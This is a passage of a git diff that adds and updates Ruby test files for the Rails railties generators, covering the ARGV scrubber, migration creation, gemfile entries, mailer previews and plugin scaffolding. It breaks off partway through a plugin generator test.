index 0000000..a94350c
--- /dev/null
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -0,0 +1,136 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/rails/app/app_generator'
+require 'tempfile'
+
+module Rails
+  module Generators
+    class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
+      # Future people who read this... These tests are just to surround the
+      # current behavior of the ARGVScrubber, they do not mean that the class
+      # *must* act this way, I just want to prevent regressions.
+
+      def test_version
+        ['-v', '--version'].each do |str|
+          scrubber = ARGVScrubber.new [str]
+          output    = nil
+          exit_code = nil
+          scrubber.extend(Module.new {
+            define_method(:puts) { |str| output = str }
+            define_method(:exit) { |code| exit_code = code }
+          })
+          scrubber.prepare!
+          assert_equal "Rails #{Rails::VERSION::STRING}", output
+          assert_equal 0, exit_code
+        end
+      end
+
+      def test_default_help
+        argv = ['zomg', 'how', 'are', 'you']
+        scrubber = ARGVScrubber.new argv
+        args = scrubber.prepare!
+        assert_equal ['--help'] + argv.drop(1), args
+      end
+
+      def test_prepare_returns_args
+        scrubber = ARGVScrubber.new ['hi mom']
+        args = scrubber.prepare!
+        assert_equal '--help', args.first
+      end
+
+      def test_no_mutations
+        scrubber = ARGVScrubber.new ['hi mom'].freeze
+        args = scrubber.prepare!
+        assert_equal '--help', args.first
+      end
+
+      def test_new_command_no_rc
+        scrubber = Class.new(ARGVScrubber) {
+          def self.default_rc_file
+            File.join(Dir.tmpdir, 'whatever')
+          end
+        }.new ['new']
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+
+      def test_new_homedir_rc
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello-world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_singleton_method(:default_rc_file) do
+            file.path
+          end
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new']
+        args = scrubber.prepare!
+        assert_equal ['--hello-world'], args
+        assert_match 'hello-world', message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_rc_whitespace_separated
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello --world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new', "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ['--hello', '--world'], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello-world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new', "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ['--hello-world'], args
+        assert_match 'hello-world', message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option_and_custom_options
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello'
+        file.puts '--world'
+        file.flush
+
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| }
+        }.new ['new', 'tenderapp', '--love', "--rc=#{file.path}"]
+
+        args = scrubber.prepare!
+        assert_equal ["tenderapp", "--hello", "--world", "--love"], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_no_rc
+        scrubber = ARGVScrubber.new ['new', '--no-rc']
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index 5205dea..4b2f853 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -43,6 +43,12 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
     assert_file "app/assets/stylesheets/account.css"
   end
 
+  def test_does_not_invoke_assets_if_required
+    run_generator ["account", "--skip-assets"]
+    assert_no_file "app/assets/javascripts/account.js"
+    assert_no_file "app/assets/stylesheets/account.css"
+  end
+
   def test_invokes_default_test_framework
     run_generator
     assert_file "test/controllers/account_controller_test.rb"
@@ -61,7 +67,7 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
 
   def test_add_routes
     run_generator
-    assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
   end
 
   def test_invokes_default_template_engine_even_with_no_action
@@ -82,4 +88,9 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
       assert_instance_method :bar, controller
     end
   end
+
+  def test_namespaced_routes_are_created_in_routes
+    run_generator ["admin/dashboard", "index"]
+    assert_file "config/routes.rb", /namespace :admin do\n\s+get 'dashboard\/index'\n/
+  end
 end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
new file mode 100644
index 0000000..e16a774
--- /dev/null
+++ b/railties/test/generators/create_migration_test.rb
@@ -0,0 +1,134 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/migration/migration_generator'
+
+class CreateMigrationTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  class Migrator < Rails::Generators::MigrationGenerator
+    include Rails::Generators::Migration
+
+    def self.next_migration_number(dirname)
+      current_migration_number(dirname) + 1
+    end
+  end
+
+  tests Migrator
+
+  def default_destination_path
+    "db/migrate/create_articles.rb"
+  end
+
+  def create_migration(destination_path = default_destination_path, config = {}, generator_options = {}, &block)
+    migration_name = File.basename(destination_path, '.rb')
+    generator([migration_name], generator_options)
+    generator.set_migration_assigns!(destination_path)
+
+    dir, base = File.split(destination_path)
+    timestamped_destination_path = File.join(dir, ["%migration_number%", base].join('_'))
+
+    @migration = Rails::Generators::Actions::CreateMigration.new(generator, timestamped_destination_path, block || "contents", config)
+  end
+
+  def migration_exists!(*args)
+    @existing_migration = create_migration(*args)
+    invoke!
+    @generator = nil
+  end
+
+  def invoke!
+    capture(:stdout) { @migration.invoke! }
+  end
+
+  def revoke!
+    capture(:stdout) { @migration.revoke! }
+  end
+
+  def test_invoke
+    create_migration
+
+    assert_match(/create  db\/migrate\/1_create_articles.rb\n/, invoke!)
+    assert_file @migration.destination
+  end
+
+  def test_invoke_pretended
+    create_migration(default_destination_path, {}, { pretend: true })
+
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_when_exists
+    migration_exists!
+    create_migration
+
+    assert_equal @existing_migration.destination, @migration.existing_migration
+  end
+
+  def test_invoke_when_exists_identical
+    migration_exists!
+    create_migration
+
+    assert_match(/identical  db\/migrate\/1_create_articles.rb\n/, invoke!)
+    assert @migration.identical?
+  end
+
+  def test_invoke_when_exists_not_identical
+    migration_exists!
+    create_migration { "different content" }
+
+    assert_raise(Rails::Generators::Error) { invoke! }
+  end
+
+  def test_invoke_forced_when_exists_not_identical
+    dest = "db/migrate/migration.rb"
+    migration_exists!(dest)
+    create_migration(dest, force: true) { "different content" }
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_migration.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_migration.rb\n/, stdout)
+    assert_file @migration.destination
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_invoke_forced_pretended_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, { force: true }, { pretend: true }) do
+      "different content"
+    end
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_create_articles.rb\n/, stdout)
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_skipped_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, {}, { skip: true }) { "different content" }
+
+    assert_match(/skip  db\/migrate\/2_create_articles.rb\n/, invoke!)
+    assert_no_file @migration.destination
+  end
+
+  def test_revoke
+    migration_exists!
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_revoke_pretended
+    migration_exists!
+    create_migration(default_destination_path, {}, { pretend: true })
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_file @existing_migration.destination
+  end
+
+  def test_revoke_when_no_exists
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+  end
+end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
index f4c975f..dcfeaaa 100644
--- a/railties/test/generators/generator_generator_test.rb
+++ b/railties/test/generators/generator_generator_test.rb
@@ -16,6 +16,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
 
     assert_file "lib/generators/awesome/awesome_generator.rb",
                 /class AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/awesome_generator_test.rb",
+               /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/awesome\/awesome_generator'/
   end
 
   def test_namespaced_generator_skeleton
@@ -29,6 +32,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
 
     assert_file "lib/generators/rails/awesome/awesome_generator.rb",
                 /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+               /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/rails\/awesome\/awesome_generator'/
   end
 
   def test_generator_skeleton_is_created_without_file_name_namespace
@@ -42,6 +48,9 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
 
     assert_file "lib/generators/awesome_generator.rb",
                 /class AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/awesome_generator_test.rb",
+               /class AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/awesome_generator'/
   end
 
   def test_namespaced_generator_skeleton_without_file_name_namespace
@@ -55,5 +64,8 @@ class GeneratorGeneratorTest < Rails::Generators::TestCase
 
     assert_file "lib/generators/rails/awesome_generator.rb",
                 /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+    assert_file "test/lib/generators/rails/awesome_generator_test.rb",
+               /class Rails::AwesomeGeneratorTest < Rails::Generators::TestCase/,
+               /require 'generators\/rails\/awesome_generator'/
   end
 end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
new file mode 100644
index 0000000..7871399
--- /dev/null
+++ b/railties/test/generators/generator_test.rb
@@ -0,0 +1,85 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/app_base'
+
+module Rails
+  module Generators
+    class GeneratorTest < ActiveSupport::TestCase
+      def make_builder_class
+        Class.new(AppBase) do
+          add_shared_options_for "application"
+
+          # include a module to get around thor's method_added hook
+          include(Module.new {
+            def gemfile_entries; super; end
+            def invoke_all; super; self; end
+            def add_gem_entry_filter; super; end
+            def gemfile_entry(*args); super; end
+          })
+        end
+      end
+
+      def test_construction
+        klass     = make_builder_class
+        assert klass.start(['new', 'blah'])
+      end
+
+      def test_add_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove'
+        assert_includes generator.gemfile_entries.map(&:name), 'tenderlove'
+      end
+
+      def test_add_gem_with_version
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', '2.0.0'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.version == '2.0.0'
+        }
+      end
+
+      def test_add_github_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', github: 'hello world'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.options[:github] == 'hello world'
+        }
+      end
+
+      def test_add_path_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', path: 'hello world'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.options[:path] == 'hello world'
+        }
+      end
+
+      def test_filter
+        klass     = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        assert_equal gems.drop(1), generator.gemfile_entries
+      end
+
+      def test_two_filters
+        klass     = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems[1].name
+        }
+        assert_equal gems.drop(2), generator.gemfile_entries
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 7fdd54f..77ec2f1 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,10 +1,14 @@
 require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
 require 'rails/generators'
 require 'rails/generators/test_case'
 
 module Rails
-  def self.root
-    @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+  class << self
+    remove_possible_method :root
+    def root
+      @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+    end
   end
 end
 Rails.application.config.root = Rails.root
@@ -16,6 +20,7 @@ Rails.application.load_generators
 
 require 'active_record'
 require 'action_dispatch'
+require 'action_view'
 
 module GeneratorsTestHelper
   def self.included(base)
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 6b2351f..2564988 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,7 +1,6 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/mailer/mailer_generator'
 
-
 class MailerGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   arguments %w(notifier foo bar)
@@ -23,8 +22,11 @@ class MailerGeneratorTest < Rails::Generators::TestCase
   end
 
   def test_check_class_collision
-    content = capture(:stderr){ run_generator ["object"] }
-    assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+    Object.send :const_set, :Notifier, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'Notifier' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :Notifier
   end
 
   def test_invokes_default_test_framework
@@ -34,17 +36,58 @@ class MailerGeneratorTest < Rails::Generators::TestCase
       assert_match(/test "foo"/, test)
       assert_match(/test "bar"/, test)
     end
+    assert_file "test/mailers/previews/notifier_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier/, preview)
+      assert_match(/class NotifierPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/foo/, preview)
+      assert_instance_method :foo, preview do |foo|
+        assert_match(/Notifier.foo/, foo)
+      end
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/bar/, preview)
+      assert_instance_method :bar, preview do |bar|
+        assert_match(/Notifier.bar/, bar)
+      end
+    end
   end
 
-  def test_invokes_default_template_engine
+  def test_check_test_class_collision
+    Object.send :const_set, :NotifierTest, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'NotifierTest' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierTest
+  end
+
+  def test_check_preview_class_collision
+    Object.send :const_set, :NotifierPreview, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'NotifierPreview' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierPreview
+  end
+
+  def test_invokes_default_text_template_engine
     run_generator
     assert_file "app/views/notifier/foo.text.erb" do |view|
-      assert_match(%r(app/views/notifier/foo\.text\.erb), view)
+      assert_match(%r(\sapp/views/notifier/foo\.text\.erb), view)
       assert_match(/<%= @greeting %>/, view)
     end
 
     assert_file "app/views/notifier/bar.text.erb" do |view|
-      assert_match(%r(app/views/notifier/bar\.text\.erb), view)
+      assert_match(%r(\sapp/views/notifier/bar\.text\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+  end
+
+  def test_invokes_default_html_template_engine
+    run_generator
+    assert_file "app/views/notifier/foo.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier/foo\.html\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/notifier/bar.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier/bar\.html\.erb), view)
       assert_match(/<%= @greeting %>/, view)
     end
   end
@@ -65,7 +108,13 @@ class MailerGeneratorTest < Rails::Generators::TestCase
       assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
       assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
     end
+    assert_file "test/mailers/previews/farm/animal_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal/, preview)
+      assert_match(/class Farm::AnimalPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal\/moos/, preview)
+    end
     assert_file "app/views/farm/animal/moos.text.erb"
+    assert_file "app/views/farm/animal/moos.html.erb"
   end
 
   def test_actions_are_turned_into_methods
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 2bc2c33..ac5cfff 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -117,6 +117,25 @@ class NamedBaseTest < Rails::Generators::TestCase
     assert Rails::Generators.hidden_namespaces.include?('hidden')
   end
 
+  def test_scaffold_plural_names_with_model_name_option
+    g = generator ['Admin::Foo'], model_name: 'User'
+    assert_name g, 'user',        :singular_name
+    assert_name g, 'User',        :name
+    assert_name g, 'user',        :file_path
+    assert_name g, 'User',        :class_name
+    assert_name g, 'user',        :file_name
+    assert_name g, 'User',        :human_name
+    assert_name g, 'users',       :plural_name
+    assert_name g, 'user',        :i18n_scope
+    assert_name g, 'users',       :table_name
+    assert_name g, 'Admin::Foos', :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, 'Admin::Foos', :controller_class_name
+    assert_name g, 'admin/foos',  :controller_file_path
+    assert_name g, 'foos',        :controller_file_name
+    assert_name g, 'admin.foos',  :controller_i18n_scope
+  end
+
   protected
 
     def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index a4d8b3d..d677c21 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -44,7 +44,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
     end
   end
 
-  def test_helpr_is_also_namespaced
+  def test_helper_is_also_namespaced
     run_generator
     assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, /  module AccountHelper/
     assert_file "test/helpers/test_app/account_helper_test.rb", /module TestApp/, /  class AccountHelperTest/
@@ -63,7 +63,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
 
   def test_routes_should_not_be_namespaced
     run_generator
-    assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
   end
 
   def test_invokes_default_template_engine_even_with_no_action
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
new file mode 100644
index 0000000..2315643
--- /dev/null
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -0,0 +1,375 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/plugin/plugin_generator'
+require 'generators/shared_generator_tests'
+
+DEFAULT_PLUGIN_FILES = %w(
+  .gitignore
+  Gemfile
+  Rakefile
+  README.rdoc
+  bukkits.gemspec
+  MIT-LICENSE
+  lib
+  lib/bukkits.rb
+  lib/tasks/bukkits_tasks.rake
+  lib/bukkits/version.rb
+  test/bukkits_test.rb
+  test/test_helper.rb
+  test/dummy
+)
+
+class PluginGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  destination File.join(Rails.root, "tmp/bukkits")
+  arguments [destination_root]
+
+  # brings setup, teardown, and some tests
+  include SharedGeneratorTests
+
+  def test_invalid_plugin_name_raises_an_error
+    content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
+    assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
+    assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
+    assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] }
+    assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] }
+    assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
+  end
+
+  def test_camelcase_plugin_name_underscores_filenames
+    run_generator [File.join(destination_root, "CamelCasedName")]
+    assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+    assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
+  end
+
+  def test_generating_without_options
+    run_generator
+    assert_file "README.rdoc", /Bukkits/
+    assert_no_file "config/routes.rb"
+    assert_file "test/test_helper.rb"
+    assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
+  end
+
+  def test_generating_test_files_in_full_mode
+    run_generator [destination_root, "--full"]
+    assert_directory "test/integration/"
+
+    assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
+  end
+
+  def test_inclusion_of_debugger
+    run_generator [destination_root, '--full']
+    if defined?(JRUBY_VERSION)
+      assert_file "Gemfile" do |content|
+        assert_no_match(/debugger/, content)
+      end
+    else
+      assert_file "Gemfile", /# gem 'debugger'/
+    end
+  end
+
+  def test_generating_test_files_in_full_mode_without_unit_test_files
+    run_generator [destination_root, "-T", "--full"]
+
+    assert_no_directory "test/integration/"
+    assert_no_file "test"
+    assert_file "Rakefile" do |contents|
+      assert_no_match(/APP_RAKEFILE/, contents)
+    end
+  end
+
+  def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
+    run_generator [destination_root, "-T", "--mountable", '--dummy-path', 'my_dummy_app']
+    assert_file "Rakefile", /APP_RAKEFILE/
+  end
+
+  def test_generating_adds_dummy_app_without_javascript_and_assets_deps
+    run_generator [destination_root]
+
+    assert_file "test/dummy/app/assets/stylesheets/application.css"
+
+    assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
+      assert_no_match(/jquery/, contents)
+    end
+  end
+
+  def test_ensure_that_plugin_options_are_not_passed_to_app_generator
+    FileUtils.cd(Rails.root)
+    assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  end
+
+  def test_ensure_that_test_dummy_can_be_generated_from_a_template
+    FileUtils.cd(Rails.root)
+    run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
+    assert_file "spec/dummy"
+    assert_no_file "test"
+  end
+
+  def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
+    run_generator([destination_root, "--full"])
+    assert_file "test/dummy/config/database.yml", /sqlite/
+    assert_file "bukkits.gemspec", /sqlite3/
+  end
+
+  def test_config_another_database
+    run_generator([destination_root, "-d", "mysql", "--full"])
+    assert_file "test/dummy/config/database.yml", /mysql/
+    assert_file "bukkits.gemspec", /mysql/
+  end
+
+  def test_dont_generate_development_dependency
+    run_generator [destination_root, "--skip-active-record"]
+
+    assert_file "bukkits.gemspec" do |contents|
+      assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
+    end
+  end
+
+  def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+  end
+
+  def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
+    run_generator [destination_root, "--skip_active_record"]
+    assert_no_file "test/dummy/config/database.yml"
+    assert_file "test/test_helper.rb" do |contents|
+      assert_no_match(/ActiveRecord/, contents)
+    end
+  end
+
+  def test_ensure_that_database_option_is_passed_to_app_generator
+    run_generator [destination_root, "--database", "postgresql"]
+    assert_file "test/dummy/config/database.yml", /postgres/
+  end
+
+  def test_generation_runs_bundle_install_with_full_and_mountable
+    result = run_generator [destination_root, "--mountable", "--full", "--dev"]
+    assert_file "#{destination_root}/Gemfile.lock" do |contents|
+      assert_match(/bukkits/, contents)
+    end
+    assert_match(/run  bundle install/, result)
+    assert_match(/Using bukkits \(?0\.0\.1\)?/, result)
+    assert_match(/Your bundle is complete/, result)
+    assert_equal 1, result.scan("Your bundle is complete").size
+  end
+
+  def test_skipping_javascripts_without_mountable_option
+    run_generator
+    assert_no_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_javascripts_generation
+    run_generator [destination_root, "--mountable"]
+    assert_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_skip_javascripts
+    run_generator [destination_root, "--skip-javascript", "--mountable"]
+    assert_no_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_template_from_dir_pwd
+    FileUtils.cd(Rails.root)
+    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  end
+
+  def test_ensure_that_tests_work
+    run_generator
+    FileUtils.cd destination_root
+    quietly { system 'bundle install' }
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+  end
+
+  def test_ensure_that_tests_works_in_full_mode
+    run_generator [destination_root, "--full", "--skip_active_record"]
+    FileUtils.cd destination_root
+    quietly { system 'bundle install' }
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+  end
+
+  def test_ensure_that_migration_tasks_work_with_mountable_option
+    run_generator [destination_root, "--mountable"]
+    FileUtils.cd destination_root
+    quietly { system 'bundle install' }
+    output = `bundle exec rake db:migrate 2>&1`
+    assert $?.success?, "Command failed: #{output}"
+  end
+
+  def test_creating_engine_in_full_mode
+    run_generator [destination_root, "--full"]
+    assert_file "app/assets/javascripts/bukkits"
+    assert_file "app/assets/stylesheets/bukkits"
+    assert_file "app/assets/images/bukkits"
+    assert_file "app/models"
+    assert_file "app/controllers"
+    assert_file "app/views"
+    assert_file "app/helpers"
+    assert_file "app/mailers"
+    assert_file "bin/rails"
+    assert_file "config/routes.rb", /Rails.application.routes.draw do/
+    assert_file "lib/bukkits/engine.rb", /module Bukkits\n  class Engine < ::Rails::Engine\n  end\nend/
+    assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
+  end
+
+  def test_being_quiet_while_creating_dummy_application
+    assert_no_match(/create\s+config\/application.rb/, run_generator)
+  end
+
+  def test_create_mountable_application_with_mountable_option
+    run_generator [destination_root, "--mountable"]
+    assert_file "app/assets/javascripts/bukkits"
+    assert_file "app/assets/stylesheets/bukkits"
+    assert_file "app/assets/images/bukkits"
+    assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
+    assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
+    assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
+    assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n  class ApplicationController < ActionController::Base/
+    assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n  module ApplicationHelper/
+    assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
+      assert_match "<title>Bukkits</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+    end
+  end
+
+  def test_creating_gemspec
+    run_generator
+    assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
+    assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
+    assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
+    assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
+  end
+
+  def test_usage_of_engine_commands
+    run_generator [destination_root, "--full"]
+    assert_file "bin/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
+    assert_file "bin/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
+    assert_file "bin/rails", /require 'rails\/all'/
+    assert_file "bin/rails", /require 'rails\/engine\/commands'/
+  end
+
+  def test_shebang
+    run_generator [destination_root, "--full"]
+    assert_file "bin/rails", /#!\/usr\/bin\/env ruby/
+  end
+
+  def test_passing_dummy_path_as_a_parameter
+    run_generator [destination_root, "--dummy_path", "spec/dummy"]
+    assert_file "spec/dummy"
+    assert_file "spec/dummy/config/application.rb"
+    assert_no_file "test/dummy"
+  end
+
+  def test_creating_dummy_application_with_different_name
+    run_generator [destination_root, "--dummy_path", "spec/fake"]
+    assert_file "spec/fake"
+    assert_file "spec/fake/config/application.rb"
+    assert_no_file "test/dummy"
+  end
+
+  def test_creating_dummy_without_tests_but_with_dummy_path
+    run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
+    assert_file "spec/dummy"
+    assert_file "spec/dummy/config/application.rb"
+    assert_no_file "test"
+    assert_file '.gitignore' do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
+  end
+
+  def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
